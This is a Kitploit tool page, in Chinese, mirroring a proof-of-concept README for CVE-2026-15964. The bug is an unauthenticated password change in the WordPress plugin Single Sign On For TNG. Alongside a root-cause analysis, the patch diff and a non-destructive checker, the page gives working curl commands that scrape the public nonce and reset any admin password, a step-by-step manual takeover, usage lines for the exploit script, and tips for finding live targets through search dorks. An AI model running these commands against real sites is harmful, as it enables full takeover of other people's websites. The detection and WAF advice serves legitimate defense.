Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-15964-PoC — CVE-2026-15964 的 PoC 与检查器 - WordPress 插件 Single Sign On For TNG <= 2.0.0 中的未认证密码更改(CVSS 9.8) | Kitploit
工具/GitHubGitHub/instructor-admin/cve-2026-15964-poc
身份验证与授权权限提升Web漏洞扫描器漏洞利用Web应用程序漏洞利用信息收集Web安全渗透测试

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

CVE-2026-15964 的 PoC 与检查器 - WordPress 插件 Single Sign On For TNG <= 2.0.0 中的未认证密码更改(CVSS 9.8)

查看仓库
161个月前尚未审核

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

通过未经验证的密码更改实现未认证的权限提升 存在于 WordPress 插件 Single Sign On For TNG 中。

严重程度严重(9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620(未经验证的密码更改)
受影响版本插件版本 1.0.0 至 2.0.0
修复版本2.1.0(发布于 2026-07-27)
发布时间2026-08-01
所需认证无(wp_ajax_nopriv_ssoprocess_ajax)
影响可更改任意 WordPress 账户(包括管理员)的密码——完全接管网站
插件https://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

任何未认证的访客都可以更改运行 2.0.0 或更早版本插件的网站上任意账户的密码。只需两个 HTTP 请求:

  1. 对主页发起 GET 请求,从 SSOPWDREQUIREMENT JavaScript 对象中复制 nonce。
  2. 将其 POST 到 admin-ajax.php,附带 operation=setnewpassword、受害者邮箱和新密码。

剩下的工作由 WordPress 核心的 reset_password() 完成。无需令牌、无需邮件确认链接、无需权限检查。之后即可作为管理员登录。

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

漏洞成因

处理程序为未认证用户注册

在 single-sign-on-for-tng.php(v2.0.0)中:

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* 意味着该处理程序在完全没有会话的情况下也可访问。

唯一的防护是插件发给每个访客的 nonce

load_scripts() 挂钩到 wp_enqueue_scripts,因此插件会在每个前端页面的 HTML 中输出以下内容:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

渲染结果如下:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

处理程序的验证方式如下:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

关键点在于:WordPress 使用 wp_create_nonce($action) 计算 nonce,其中使用 uid 和会话令牌。对于未登录的访客,这两个值分别是 0 和空字符串,这意味着每个匿名访客获得的 nonce 完全相同。它每 12 小时才重新生成一次(即 nonce tick)。因此插件为任何访客输出的 nonce 对攻击者同样有效——这里没有需要窃取的秘密,它就公开在页面本身。

然后执行真正的更改,且无需任何所有权证明

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() 是 WordPress 核心函数。它会设置新的密码哈希、将受害者从所有其他会话中注销,并触发 password_reset / after_password_reset 动作。此处调用它时,没有任何东西能证明调用者是账户所有者。

还有两个值得了解的额外要点:

  • 此路径上没有服务端密码强度检查。 插件的 MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC 规则仅在 Forminator 表单的 validate_form() 中强制执行,此处从不检查。任何密码都会被接受。
  • 账户枚举。 {"success":true} 与 {"success":false} 可以告诉你某个邮箱是否已注册。检查器的 --enum-only 模式正是利用这一点。
  • 同一函数中的附带漏洞: operation=set_tzoffset 会在未认证的情况下调用 update_option('localtzoffset', $post['timezoneoffset'])。虽然不能直接利用实现 RCE,但这是一次未认证的选项写入,值得在分析报告中提及。

2.1.0 中的变化

对比 2.0.0 与 2.1.0,修复之处显而易见(同时也证实了该漏洞):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

此外,在 newpasswordform() 中:

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

因此在 2.1.0 中,流程变为:真正的恢复请求会在用户元数据中存储每个用户独立的 custom_recovery_token 和 custom_recovery_nonce,恢复链接携带用户 ID,表单对两者都进行验证,并且一旦恢复窗口(timeout)过期,AJAX 处理程序将拒绝执行。无法提供有效恢复记录的攻击者再也无法驱动 setnewpassword。


复现步骤(手动)

第 1 步 - 抓取 nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

第 2 步 - 更改密码

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

在存在漏洞的安装上,预期响应为:{"success":true}

第 3 步 - 登录

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC:CVE-2026-15964.py

单站点利用工具。包含非破坏性模式。

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

检查器:CVE-2026-15964-checker.py

用于扫描你自己站点列表的批量扫描器。设计上即为非破坏性——它永远不会更改密码。

它对每个站点的分类方式:

  1. HTML 指纹 - 主页中的 SSOPWDREQUIREMENT 对象或 /wp-content/plugins/single-sign-on-for-tng/ 资源路径。
  2. 版本 - readme.txt 中的 Stable tag: 行。<= 2.0.0 存在漏洞,>= 2.1.0 已修复。根据 CVE,这是权威依据。
  3. 行为探测(--probe,仅在无法读取版本时使用)- 使用不存在的邮箱提交 operation=setnewpassword。2.0.0 安装会返回 {"success":false} 且不带任何错误信息;2.1.0 安装会返回“time to submit the new password expired”消息。绝不会向真实邮箱发送请求——因为发送的话实际上会重置密码。
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

示例输出:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

判定结果:VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR。UNKNOWN 通常意味着存在 WAF、激进的 CDN 缓存或屏蔽 readme 的站点——请手动检查这些站点。


在本地测试这些工具

tests/mock_server.py 模拟六种情况(按版本判定为易受攻击、按版本判定为已修复、按探测判定为易受攻击、按探测判定为已修复、未安装插件的 WordPress、非 WordPress)。检查器的逻辑正是这样在指向任何真实目标之前得到验证的:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt 会为你安装唯一的依赖(requests)。


实战笔记

坦率的背景说明,因为它会影响你如何使用本工具。

  • 该插件面向 TNG(The Next Generation of Genealogy Sitebuilding,即下一代家谱建站工具),也就是业余家谱网站。这是一个非常小的生态系统:wordpress.org 上累计下载约 1,600 次,活跃安装数未公开(< 10),首次发布于 2024 年 10 月。
  • 由于 2.1.0 直到 2026-07-27 才出现,绝大多数下载都是存在漏洞的版本。只要你能找到一个安装实例,它极有可能仍然存在漏洞。
  • 发现目标才是最困难的部分。该插件在 Shodan 的索引中没有留下任何痕迹(我检查了能想到的所有指纹——结果为零),甚至对 Shodan 返回的前 1,000 个 WordPress 主机进行指纹识别,也找不到任何安装实例。你最好的搜索来源是:Google inurl:"single-sign-on-for-tng"、在索引完整页面源码的搜索引擎(PublicWWW、Censys、FOFA)中搜索 "SSOPWDREQUIREMENT",以及 TNG 社区本身(tngsitebuilding.com、家谱论坛)。
  • 在真实的家谱网站上,检查器的 UNKNOWN 分组会相对较大——许多网站运行在激进的缓存之后,或屏蔽了 readme.txt。不要把这理解为“不存在漏洞”;请手动核实。

检测与修复

  • 升级到 2.1.0(或彻底移除该插件)。
  • WAF 规则:拒绝 action=ssoprocess_ajax 并非来自已认证会话的 admin-ajax.php POST 请求;对来自匿名来源的 setnewpassword 发出告警。
  • 监控 wp_users.user_pass 哈希的变化以及 password_reset / after_password_reset 动作;留意密码更改后立即出现的管理员登录。
  • 将 ssoajaxnonce 视为公开信息——它从来都是。

参考链接

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Vulnerable source (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Fixed source (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

免责声明

本仓库仅用于经授权的安全测试和教育目的。请对自己的行为负责。不要针对你不拥有或未经明确书面许可的系统运行这些工具。在大多数司法管辖区,未经授权访问计算机系统属于犯罪行为。

下载工具